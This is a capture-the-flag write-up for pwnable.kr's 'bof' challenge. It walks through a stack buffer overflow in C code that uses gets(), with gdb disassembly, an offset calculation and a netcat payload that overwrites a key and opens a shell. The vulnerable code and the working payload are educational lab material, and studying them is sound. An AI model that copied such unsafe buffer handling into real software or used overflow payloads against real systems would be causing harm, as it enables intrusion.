Next up in the Pwnable.kr “Toddler’s Bottle” series is ‘bof’.
Here’s our hint:
Nana told me that buffer overflow is one of the most common software vulnerability. Is that true?
Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.c
Running at : nc pwnable.kr 9000
nc
The “running at” line starts with “nc”, which means netcat. Netcat’s website describes it as “a featured networking utility which reads and writes data across network connections, using the TCP/IP protocol.”
bof
If we look at the bof.c
file provided in the hint, we see:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
The program runs a function called func
that is given an argument of “0xdeadbeef”. What does func do?
It has a char array (our buffer), it prints out “overflow me : “, calls gets
and then compares key
(which is currently 0xdeadbeef) to 0xcafebabe.
So, somehow, we need to change the value of key
. But how?
gets
If we type man gets
(lol), the description of gets
is shown:
The gets() function is equivalent to fgets() with an infinite size and a stream of stdin, except that the newline character (if any) is not stored in the string. It is the caller’s responsibility to ensure that the input line, if any, is sufficiently short to fit in the string.
So, gets
is the unsafe version of fgets
because it doesn’t check the size of its input.
Variables are put on the stack such that earlier-defined variables in the code are last in memory (the stack grows upwards). So if the local variable key
is in memory after overflowme
, we can keep writing to overflowme
long enough to overwrite key
with our special message (‘cafebabe’).
0xcafebabe
So, if we can write 32 bytes worth of data, then we can write our “0xcafebabe” message.
$ nc pwnable.kr 9000
`python -c print "'\x01'*32+'\xbe\xba\xfe\xca'"`
*** stack smashing detected ***: /home/bof/bof terminated
overflow me :
Nah..
That didn’t work, but I got an interesting message about stack smashing.
Time for gdb
Instead of just futzing around with the number of bytes in the beginning of our input, let’s use gdb and figure out exactly how many we need.
I copied the bof
file to my computer: compiled the bof.c
file into an executable:
wget pwnable.kr/bin/bof
I couldn’t run it at first, and found that I had to install some missing libraries:
apt-get install libc6-i386
And then I started gdb and loaded the file:
$ gdb bof
Disassemble all the things!
If we disassemble main
, we get:
(gdb) disas main
Dump of assembler code for function main:
0x0000068a <+0>: push %ebp
0x0000068b <+1>: mov %esp,%ebp
0x0000068d <+3>: and $0xfffffff0,%esp
0x00000690 <+6>: sub $0x10,%esp
0x00000693 <+9>: movl $0xdeadbeef,(%esp)
0x0000069a <+16>: call 0x62c <func>
0x0000069f <+21>: mov $0x0,%eax
0x000006a4 <+26>: leave
0x000006a5 <+27>: ret
End of assembler dump.
And if we disassemble func, we get:
(gdb) disas func
Dump of assembler code for function func:
0x0000062c <+0>: push %ebp
0x0000062d <+1>: mov %esp,%ebp
0x0000062f <+3>: sub $0x48,%esp
0x00000632 <+6>: mov %gs:0x14,%eax
0x00000638 <+12>: mov %eax,-0xc(%ebp)
0x0000063b <+15>: xor %eax,%eax
0x0000063d <+17>: movl $0x78c,(%esp)
0x00000644 <+24>: call 0x645 <func+25>
0x00000649 <+29>: lea -0x2c(%ebp),%eax
0x0000064c <+32>: mov %eax,(%esp)
0x0000064f <+35>: call 0x650 <func+36>
0x00000654 <+40>: cmpl $0xcafebabe,0x8(%ebp)
0x0000065b <+47>: jne 0x66b <func+63>
0x0000065d <+49>: movl $0x79b,(%esp)
0x00000664 <+56>: call 0x665 <func+57>
0x00000669 <+61>: jmp 0x677 <func+75>
0x0000066b <+63>: movl $0x7a3,(%esp)
0x00000672 <+70>: call 0x673 <func+71>
0x00000677 <+75>: mov -0xc(%ebp),%eax
0x0000067a <+78>: xor %gs:0x14,%eax
0x00000681 <+85>: je 0x688 <func+92>
0x00000683 <+87>: call 0x684 <func+88>
0x00000688 <+92>: leave
0x00000689 <+93>: ret
End of assembler dump.
Woooo that’s a lot.
Where’s the (dead) beef?
This line in main
shows “deadbeef” getting moved into the eax
register:
0x00000693 <+9>: movl $0xdeadbeef,(%esp)
This line in func
shows the 0xcafebabe comparison we’re interested in:
0x00000654 <+40>: cmpl $0xcafebabe,0x8(%ebp)
If we set a breakpoint in gets
and run the program:
(gdb) break gets
(gdb) run
(gdb) next
Single stepping until exit from function gets,
which has no line number information
booooooof
0x56555654 in func()
We can print up the contents of $ebp+8 (from the ‘cafebabe’ line):
(gdb) x $ebp+8
0xffffd320: 0xdeadbeef
Our key
address is (in my case) 0xffffd320. Next, we need to find where the buffer starts, so we know the distance between the two. If we write that many bytes to the buffer, and end with “cafebabe,” our new value will overwrite “deadbeef” and we’ll capture our flag.
Finding the key
We know that previously, deadbeef got copied into eax
. We see a “load effective address” (lea) assembly instruction here:
0x00000649 <+29>: lea -0x2c(%ebp),%eax
If we want to check $ebp-0x2c, we can type
(gdb) x/1s $ebp-0x2c
0xffffd2ec: "booooooof"
We found it! Now, we just need to find the difference between the two addresses:
$ python -c "print 0xffffd320-0xffffd2ec"
52
Capturing the flag
52 bytes! Let’s modify what we tried earlier and pipe it into netcat:
$ (python -c "print '\x01'*52+'\xbe\xba\xfe\xca'";cat) | nc pwnable.kr 9000
cat flag
daddy, I just pwned a buFFer :)